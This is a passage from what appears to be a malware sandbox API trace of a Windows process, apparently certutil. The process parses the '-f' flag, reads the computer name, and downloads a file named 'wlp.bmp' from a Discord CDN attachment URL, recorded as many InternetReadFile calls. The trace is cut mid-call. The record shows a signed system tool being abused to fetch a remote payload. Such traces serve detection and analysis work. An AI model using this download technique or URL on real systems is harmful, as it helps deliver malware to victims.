(Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="key", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="delkey", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="verifykeys", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="verify", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="verifyCTL", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="syncWithWU", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="generateSSTFromWU", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="generatePinRulesCTL", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="downloadOcsp", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="generateHpkpHeader", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="addEccCurve", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="deleteEccCurve", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="displayEccCurve", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="csplist", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="csptest", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="CNGConfig", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="sign", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="nullsign", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="vroot", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="vocsproot", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="addEnrollmentServer", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="deleteEnrollmentServer", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="addPolicyServer", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="deletePolicyServer", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="Class", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="7f", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="oid", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="error", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="getsmtpinfo", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="setsmtpinfo", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="getreg", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="setreg", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="delreg", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="ImportKMS", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="ImportCert", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="GetKey", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="RecoverKey", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="MergePFX", cchCount2=-1) returned 1 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="ConvertEPF", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="?", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.920] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="f", cchCount2=-1) returned 2 [0126.920] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x26bedef1120 [0126.920] GetComputerNameW (in: lpBuffer=0x26bedef1120, nSize=0x73563cf4f0 | out: lpBuffer="NQDPDE", nSize=0x73563cf4f0) returned 1 [0126.921] GetComputerNameExW (in: NameType=0x3, lpBuffer=0x0, nSize=0x73563cf4c0 | out: lpBuffer=0x0, nSize=0x73563cf4c0) returned 0 [0126.921] GetLastError () returned 0xea [0126.921] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x26bededd640 [0126.921] GetComputerNameExW (in: NameType=0x3, lpBuffer=0x26bededd640, nSize=0x73563cf4c0 | out: lpBuffer="NQdPdE", nSize=0x73563cf4c0) returned 1 [0126.921] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x0 [0126.921] GetSystemDirectoryW (in: lpBuffer=0x0, uSize=0x0 | out: lpBuffer=0x0) returned 0x14 [0126.921] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x26bedee4330 [0126.921] GetSystemDirectoryW (in: lpBuffer=0x26bedee4330, uSize=0x14 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0126.921] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\cryptnet.dll", hFile=0x0, dwFlags=0x0) returned 0x7fff54060000 [0127.136] LocalFree (hMem=0x26bedee4330) returned 0x0 [0127.136] GetProcAddress (hModule=0x7fff54060000, lpProcName="I_CryptNetEnumUrlCacheEntry") returned 0x7fff54079850 [0127.136] GetProcAddress (hModule=0x7fff54060000, lpProcName="CryptRetrieveObjectByUrlW") returned 0x7fff54067210 [0127.136] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="wal.bmp", cchCount1=-1, lpString2="delete", cchCount2=-1) returned 3 [0127.136] lstrcmpW (lpString1="*", lpString2="https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp") returned -1 [0127.136] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp", cchCount1=-1, lpString2="crl", cchCount2=-1) returned 3 [0127.136] CryptRetrieveObjectByUrlW (in: pszUrl="https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp", pszObjectOid=0x5, dwRetrievalFlags=0x5, dwTimeout=0x0, ppvObject=0x73563cf4d0, hAsyncRetrieve=0x0, pCredentials=0x0, pvVerify=0x0, pAuxInfo=0x0 | out: ppvObject=0x73563cf4d0*=0x0, pAuxInfo=0x0) returned 0 [0129.937] GetLastError () returned 0x80092009 [0129.937] _wcsnicmp (_String1="https", _String2="ldap:", _MaxCount=0x5) returned -4 [0129.937] _vsnwprintf (in: _Buffer=0x73563cf3e8, _BufferCount=0xb, _Format="%d", _ArgList=0x73563cf3d8 | out: _Buffer="2232") returned 4 [0129.937] LoadStringW (in: hInstance=0x7ff6430a0000, uID=0x8b8, lpBuffer=0x73563cf1a0, cchBufferMax=128 | out: lpBuffer="Online") returned 0x6 [0129.937] LocalAlloc (uFlags=0x0, uBytes=0xe) returned 0x26bedf28e30 [0129.937] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0129.943] _vsnwprintf (in: _Buffer=0x73563ce3d0, _BufferCount=0x1ff, _Format="**** %ws ****\n", _ArgList=0x73563cf428 | out: _Buffer="**** Online ****\n") returned 19 [0129.943] GetFileType (hFile=0x50) returned 0x2 [0129.943] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x73563ce3d0*, nNumberOfCharsToWrite=0x13, lpNumberOfCharsWritten=0x73563ce384, lpReserved=0x0 | out: lpBuffer=0x73563ce3d0*, lpNumberOfCharsWritten=0x73563ce384*=0x13) returned 1 [0129.951] GetModuleHandleW (lpModuleName="api-ms-win-core-delayload-l1-1-1.dll") returned 0x7fff59ec0000 [0129.952] GetProcAddress (hModule=0x7fff59ec0000, lpProcName="ResolveDelayLoadedAPI") returned 0x7fff59f27160 [0129.952] GetProcAddress (hModule=0x7fff59ec0000, lpProcName="ResolveDelayLoadsFromDll") returned 0x7fff59f98b60 [0129.952] ResolveDelayLoadedAPI () returned 0x7fff4b3d62c0 [0130.256] InternetOpenW (lpszAgent="CertUtil URL Agent", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0130.280] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp", lpszHeaders="Accept: */*\r\n", dwHeadersLength=0xffffffff, dwFlags=0x80001000, dwContext=0x0) returned 0xcc000c [0130.621] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x73563ce3b0, dwFlags=0x0, dwContext=0x0) returned 1 [0130.629] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.629] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bedf95bb0 [0130.630] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.630] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bedfa5bc0 [0130.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.631] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befd00080 [0130.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.632] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befd10090 [0130.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.632] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befd200a0 [0130.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.633] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befd300b0 [0130.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.633] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befd400c0 [0130.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.634] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befd500d0 [0130.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.635] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befd600e0 [0130.635] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.635] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befd700f0 [0130.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.636] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befd80100 [0130.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.636] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befd90110 [0130.637] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.637] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befda0120 [0130.637] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.637] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befdb0130 [0130.638] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.638] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befdc0140 [0130.638] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.639] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befdd0150 [0130.639] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.639] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befe00080 [0130.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.640] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befe10090 [0130.641] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.641] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befe200a0 [0130.641] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.641] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befe300b0 [0130.642] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.642] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befe400c0 [0130.642] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.642] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befe500d0 [0130.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.643] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befe600e0 [0130.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.643] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befe700f0 [0130.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.644] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befe80100 [0130.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.645] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befe90110 [0130.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.645] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befea0120 [0130.646] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.646] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befeb0130 [0130.646] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.646] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befec0140 [0130.647] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.647] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befed0150 [0130.647] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.647] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befee0160 [0130.648] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.648] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26befef0170 [0130.648] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.649] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beff00180 [0130.649] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.649] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beff10190 [0130.649] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.649] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beff201a0 [0130.650] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.650] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beff301b0 [0130.650] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.650] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beff401c0 [0130.651] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.651] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beff501d0 [0130.651] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.651] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beff601e0 [0130.652] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.652] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beff701f0 [0130.652] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.653] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beff80200 [0130.653] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.653] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beff90210 [0130.653] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.654] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beffa0220 [0130.654] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.654] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beffb0230 [0130.654] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.655] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beffc0240 [0130.655] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.655] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beffd0250 [0130.655] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.656] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26beffe0260 [0130.656] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.656] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0000080 [0130.657] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, 